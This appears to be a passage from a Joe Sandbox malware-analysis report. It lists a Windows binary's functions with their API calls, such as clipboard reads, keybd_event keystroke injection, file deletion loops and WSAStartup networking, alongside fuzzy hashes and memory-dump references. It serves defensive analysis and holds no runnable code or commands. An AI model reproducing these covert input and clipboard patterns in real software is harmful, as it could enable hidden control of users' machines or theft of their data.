Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: BuffCharUpper
String ID:
API String ID: 3964851224-0
Opcode ID: 7c490d365fd06f2957d6107979668b4e57d94f8c274ed123ba4c1938a51c8b20
Instruction ID: b9d34b1177392d2ecc2de7c7def99250a4a3e4284d4ca5da579c512eac552942
Opcode Fuzzy Hash: 7c490d365fd06f2957d6107979668b4e57d94f8c274ed123ba4c1938a51c8b20
Instruction Fuzzy Hash: 0BF0F07A200A21ABC7215B14D800B2EFBB6EF50F62F40C229E44D46650CBB1D820CBD4

Function 001C95AF Relevance: 1.5, APIs: 1, Instructions: 29networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 001C95C9

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: dc2f1193a0010be0096ae0715fc570a54989566ec21e48555a0e48732621f17d
Instruction ID: a527b69371e0da3f0752c286eca25ae4d3c8c05a0f3c8ea7199faf7ffcf2100d
Opcode Fuzzy Hash: dc2f1193a0010be0096ae0715fc570a54989566ec21e48555a0e48732621f17d
Instruction Fuzzy Hash: 24E0E5332042146BC310EA64EC05AABB799BF85724F14871AFDA48B2C1EB30DD14C7C1

Function 00173E39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,?,?,001734E2,?,00000001), ref: 00173E6D

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 9ca78eb3e3bbf051be0d2f326b4252661689a794cccd3a161fa712ce5d98971b
Instruction ID: 28f0a30b085af2fc252d24c75908aa85dcce13c17354f88cb2dfae05f86957ab
Opcode Fuzzy Hash: 9ca78eb3e3bbf051be0d2f326b4252661689a794cccd3a161fa712ce5d98971b
Instruction Fuzzy Hash: 8FF03971105751CFCB389F64E890826BBF1BF14715324CA3EE1EA82621DB31A944EF00

Function 001B79F8 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?), ref: 001B7A11

Part of subcall function 00177E53: _memmove.LIBCMT ref: 00177EB9

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: FolderPath_memmove
String ID:
API String ID: 3334745507-0
Opcode ID: 3aa5ab2f190c0fec7de7fffbc8c57035b2b04ae3d5957af36cceeea2b8e08d49
Instruction ID: 636ee4e75b89393a45a6f1e25c37e6ea30cfbbb8ce3107dddab943d4d1136afa
Opcode Fuzzy Hash: 3aa5ab2f190c0fec7de7fffbc8c57035b2b04ae3d5957af36cceeea2b8e08d49
Instruction Fuzzy Hash: 74D05EA65002282FDB50E6249C0ADFB36ADC744104F0042A0786DD2042EA20AE8586E0

Function 0017193B Relevance: 1.5, APIs: 1, Instructions: 18windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00171952

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSendTimeout
String ID:
API String ID: 1599653421-0
Opcode ID: e2281060d467d83200060d0fb3b6a3ae6455fcc2474ea2ad00ddcc0cb6c57e69
Instruction ID: 3a9bb49c4de5a7a4fb8f0ab17075257bbef0e1a4e9c1e2efb2b146ae8feb1591
Opcode Fuzzy Hash: e2281060d467d83200060d0fb3b6a3ae6455fcc2474ea2ad00ddcc0cb6c57e69
Instruction Fuzzy Hash: 62D012F16902087EFB008761DD07EBB775CD721F81F4046617E06D64D1D6649E498570

Function 001AE390 Relevance: 1.5, APIs: 1, Instructions: 16windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0017193B: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00171952

SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 001AE3AA

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend$Timeout
String ID:
API String ID: 1777923405-0
Opcode ID: b41cf61fa66fa5029ef341ad9564600555ba719cacfb9fbc057aef56b75c42c6
Instruction ID: e39a6502fdbb69368e95be104dd10aff35d16897644d941c81ea92d0a9568899
Opcode Fuzzy Hash: b41cf61fa66fa5029ef341ad9564600555ba719cacfb9fbc057aef56b75c42c6
Instruction Fuzzy Hash: 0ED01235144110AAFE706B18FC06FD577A29F41750F114459F580AB0E5C7D25C819540

Function 001C6FC3 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?), ref: 001C6FE1

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: fc5840862ff5d9c598668478a31fa7d74f95d2d1f16acabc02493420135ded42
Instruction ID: 5a7eff0004b7261875bfda48a31f10a54d8e42c17cc553ab59078675dab2cc89
Opcode Fuzzy Hash: fc5840862ff5d9c598668478a31fa7d74f95d2d1f16acabc02493420135ded42
Instruction Fuzzy Hash: C9D067362105149FC701AB99E848C95B7E9EB5D6103018051F50ADB631D661E9509B91

Function 00174FB3 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,00000000,00000000,?,00000001,?,?,?,001E49DA,?,?,00000000), ref: 00174FC4

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 0cd9338c87b588fae193cecae8519fa9126bb5095ab6ed7ca34d3f0f772c4d89
Instruction ID: 1b9ef2d3c68f5a656c5f4c54f8db7435dd546708aee05c69dd00e8a9c504d164
Opcode Fuzzy Hash: 0cd9338c87b588fae193cecae8519fa9126bb5095ab6ed7ca34d3f0f772c4d89
Instruction Fuzzy Hash: 67D0C974640208BFEB00CB90DC46FAA7BBDEB04718F200194F600A62D0D2F2BE808B55

Function 001E4DDC Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 001E4DE7

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 1e1009395c19b30cea66c926b436eb823f69369150526ab1505adccd8ab0cef4
Instruction ID: f24b31ef50817ca0161c53c299b193a1d3e3411fa828a4fb664ee52ed99e090e
Opcode Fuzzy Hash: 1e1009395c19b30cea66c926b436eb823f69369150526ab1505adccd8ab0cef4
Instruction Fuzzy Hash: F8D012B1500201DFEB30AF69F80475AB7E4BF55300F24882DE9C682550DB76E9C2DF11

Function 001750EC Relevance: 1.3, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,001E5950), ref: 0017510C

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 0491ff965ea2454eb7ad63978534d4894d79ec67a8d3bc2a28b6f9a36f468b6a
Instruction ID: 0cd97d666b386f928fe989f5868d67114eb4005a381c29c067b9472cfd74a084
Opcode Fuzzy Hash: 0491ff965ea2454eb7ad63978534d4894d79ec67a8d3bc2a28b6f9a36f468b6a
Instruction Fuzzy Hash: 40E0B675504B02CBC3354F1AE804412FBF6FFE13613218A2FD0E9826A0D7B05486DB90

Non-executed Functions

Function 001DF5D0 Relevance: 68.9, APIs: 37, Strings: 2, Instructions: 630windowkeyboardnativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0018AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0018AF8E

NtdllDialogWndProc_W.NTDLL(?,0000004E,?,?,?,?,?,?,?), ref: 001DF64E
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 001DF6AD
GetWindowLongW.USER32(?,000000F0), ref: 001DF6EA
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 001DF711
SendMessageW.USER32 ref: 001DF737
_wcsncpy.LIBCMT ref: 001DF7A3
GetKeyState.USER32(00000011), ref: 001DF7C4
GetKeyState.USER32(00000009), ref: 001DF7D1
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 001DF7E7
GetKeyState.USER32(00000010), ref: 001DF7F1
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 001DF820
SendMessageW.USER32 ref: 001DF843
SendMessageW.USER32(?,00001030,?,001DDE69), ref: 001DF940
SetCapture.USER32(?), ref: 001DF970
ClientToScreen.USER32(?,?), ref: 001DF9D4
InvalidateRect.USER32(?,00000000,00000001,?,?,?,?), ref: 001DF9FA
ReleaseCapture.USER32 ref: 001DFA05
GetCursorPos.USER32(?), ref: 001DFA3A
ScreenToClient.USER32(?,?), ref: 001DFA47
SendMessageW.USER32(?,00001012,00000000,?), ref: 001DFAA9
SendMessageW.USER32 ref: 001DFAD3
SendMessageW.USER32(?,00001111,00000000,?), ref: 001DFB12
SendMessageW.USER32 ref: 001DFB3D
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 001DFB55
SendMessageW.USER32(?,0000110B,00000009,?), ref: 001DFB60
GetCursorPos.USER32(?), ref: 001DFB81
ScreenToClient.USER32(?,?), ref: 001DFB8E
GetParent.USER32(?), ref: 001DFBAA
SendMessageW.USER32(?,00001012,00000000,?), ref: 001DFC10
SendMessageW.USER32 ref: 001DFC40
ClientToScreen.USER32(?,?), ref: 001DFC96
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 001DFCC2
SendMessageW.USER32(?,00001111,00000000,?), ref: 001DFCEA
SendMessageW.USER32 ref: 001DFD0D
ClientToScreen.USER32(?,?), ref: 001DFD57
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 001DFD87
GetWindowLongW.USER32(?,000000F0), ref: 001DFE1C

Strings

F, xrefs: 001DFD13
@GUI_DRAGID, xrefs: 001DF99D

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend$ClientScreen$LongStateWindow$CaptureCursorMenuPopupTrack$DialogInvalidateNtdllParentProc_RectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3461372671-4164748364
Opcode ID: e6a35355fd9e7663e19ff96cc4181a9e88087f599e02c1789bed48c31f474738
Instruction ID: 92ce828a1b5618e3f739c4f686a02e3bbadad0bcf76ddf5bcce7121d00030455
Opcode Fuzzy Hash: e6a35355fd9e7663e19ff96cc4181a9e88087f599e02c1789bed48c31f474738
Instruction Fuzzy Hash: 3732AA70208201AFDB14DF64D884AAABBE6FF48354F14062EF696877B1D730EE52CB51

Function 001DA8DC Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 574windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000400,00000000,00000000), ref: 001DAFDB

Strings

%d/%02d/%02d, xrefs: 001DAD0A

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend
String ID: %d/%02d/%02d
API String ID: 3850602802-328681919
Opcode ID: afba4fc953335c49906af9eb85611338a48ab1681a83732c2cf8b4095bdf192e
Instruction ID: b5281f2bc78242a0f0110bf3ea5afcc31defec9576d2163f788f93808008a3ee
Opcode Fuzzy Hash: afba4fc953335c49906af9eb85611338a48ab1681a83732c2cf8b4095bdf192e
Instruction Fuzzy Hash: F312BCB1600204ABEB29CF64DC49FBE7BB9EF45710F50425AF51AEB2D0DB748941CB52

Function 0018F78E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000), ref: 0018F796
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 001E4388
IsIconic.USER32(000000FF), ref: 001E4391
ShowWindow.USER32(000000FF,00000009), ref: 001E439E
SetForegroundWindow.USER32(000000FF), ref: 001E43A8
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 001E43BE
GetCurrentThreadId.KERNEL32 ref: 001E43C5
GetWindowThreadProcessId.USER32(000000FF,00000000), ref: 001E43D1
AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 001E43E2
AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 001E43EA
AttachThreadInput.USER32(00000000,?,00000001), ref: 001E43F2
SetForegroundWindow.USER32(000000FF), ref: 001E43F5
MapVirtualKeyW.USER32(00000012,00000000), ref: 001E440A
keybd_event.USER32(00000012,00000000), ref: 001E4415
MapVirtualKeyW.USER32(00000012,00000000), ref: 001E441F
keybd_event.USER32(00000012,00000000), ref: 001E4424
MapVirtualKeyW.USER32(00000012,00000000), ref: 001E442D
keybd_event.USER32(00000012,00000000), ref: 001E4432
MapVirtualKeyW.USER32(00000012,00000000), ref: 001E443C
keybd_event.USER32(00000012,00000000), ref: 001E4441
SetForegroundWindow.USER32(000000FF), ref: 001E4444
AttachThreadInput.USER32(000000FF,?,00000000), ref: 001E446B

Strings

Shell_TrayWnd, xrefs: 001E4383

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: f279b9890afcc2ce147f77467d9a9e1d754c01b567bcf1a6cb135989e34c1248
Instruction ID: b62cd52f593d3bb7fda7a1a9755d4031b884d60cf503d28cb9a6601c9f1f8956
Opcode Fuzzy Hash: f279b9890afcc2ce147f77467d9a9e1d754c01b567bcf1a6cb135989e34c1248
Instruction Fuzzy Hash: D33150B1A40218BBEB216BB2AC49F7F7E6DEB44B54F114025FA05EA1D0D6B05941EEA0

Function 001B6B3F Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 164filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 001731B8: GetFullPathNameW.KERNEL32(00000000,00000104,?,?), ref: 001731DA

Part of subcall function 001B7B9F: __wsplitpath.LIBCMT ref: 001B7BBC
Part of subcall function 001B7B9F: __wsplitpath.LIBCMT ref: 001B7BCF

Part of subcall function 001B7C0C: GetFileAttributesW.KERNEL32(?,001B6A7B), ref: 001B7C0D

_wcscat.LIBCMT ref: 001B6B9D
_wcscat.LIBCMT ref: 001B6BBB
__wsplitpath.LIBCMT ref: 001B6BE2
FindFirstFileW.KERNEL32(?,?), ref: 001B6BF8
_wcscpy.LIBCMT ref: 001B6C57
_wcscat.LIBCMT ref: 001B6C6A
_wcscat.LIBCMT ref: 001B6C7D
lstrcmpiW.KERNEL32(?,?), ref: 001B6CAB
DeleteFileW.KERNEL32(?), ref: 001B6CBC
MoveFileW.KERNEL32(?,?), ref: 001B6CDB
MoveFileW.KERNEL32(?,?), ref: 001B6CEA
CopyFileW.KERNEL32(?,?,00000000), ref: 001B6CFF
DeleteFileW.KERNEL32(?), ref: 001B6D10
FindNextFileW.KERNEL32(00000000,00000010), ref: 001B6D37
FindClose.KERNEL32(00000000), ref: 001B6D53
FindClose.KERNEL32(00000000), ref: 001B6D61

Strings

\*.*, xrefs: 001B6B8C, 001B6B9B, 001B6BB9

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: File$Find_wcscat$__wsplitpath$CloseDeleteMove$AttributesCopyFirstFullNameNextPath_wcscpylstrcmpi
String ID: \*.*
API String ID: 1867810238-1173974218
Opcode ID: b4b8ec27277e2b04932acaf9f52de9e70bd55dfc6834a2cb0bf4db1e64e84f9a
Instruction ID: fdd25babc16fa5256b4da8f15729edb08a768cec9186fdb91267ab7d0eb77da2
Opcode Fuzzy Hash: b4b8ec27277e2b04932acaf9f52de9e70bd55dfc6834a2cb0bf4db1e64e84f9a
Instruction Fuzzy Hash: C151307290412CAACF21EBA0DC84EEE777DBF29304F4445DAE549A3041DB349B89CF61

Function 001C7099 Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(0020DBF0), ref: 001C70C3
IsClipboardFormatAvailable.USER32(0000000D), ref: 001C70D1
GetClipboardData.USER32(0000000D), ref: 001C70D9
CloseClipboard.USER32 ref: 001C70E5
GlobalLock.KERNEL32(00000000), ref: 001C7101
CloseClipboard.USER32 ref: 001C710B
GlobalUnlock.KERNEL32(00000000), ref: 001C7120
IsClipboardFormatAvailable.USER32(00000001), ref: 001C712D
GetClipboardData.USER32(00000001), ref: 001C7135
GlobalLock.KERNEL32(00000000), ref: 001C7142
GlobalUnlock.KERNEL32(00000000), ref: 001C7176
CloseClipboard.USER32 ref: 001C7283

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: 4ee8d77560a15d8374f64dc8265478b5df4cea26580c9e69308bc938b129b69c
Instruction ID: c9b2214352a748c2dd7788db84148525d4b06f0e6b23c40cc5b7795a1945a7fe
Opcode Fuzzy Hash: 4ee8d77560a15d8374f64dc8265478b5df4cea26580c9e69308bc938b129b69c
Instruction Fuzzy Hash: 8C51DD31208305ABD305EB64EC8AF7E77A9AFA8B11F05451DF54AD21E1EBB0D944CB62

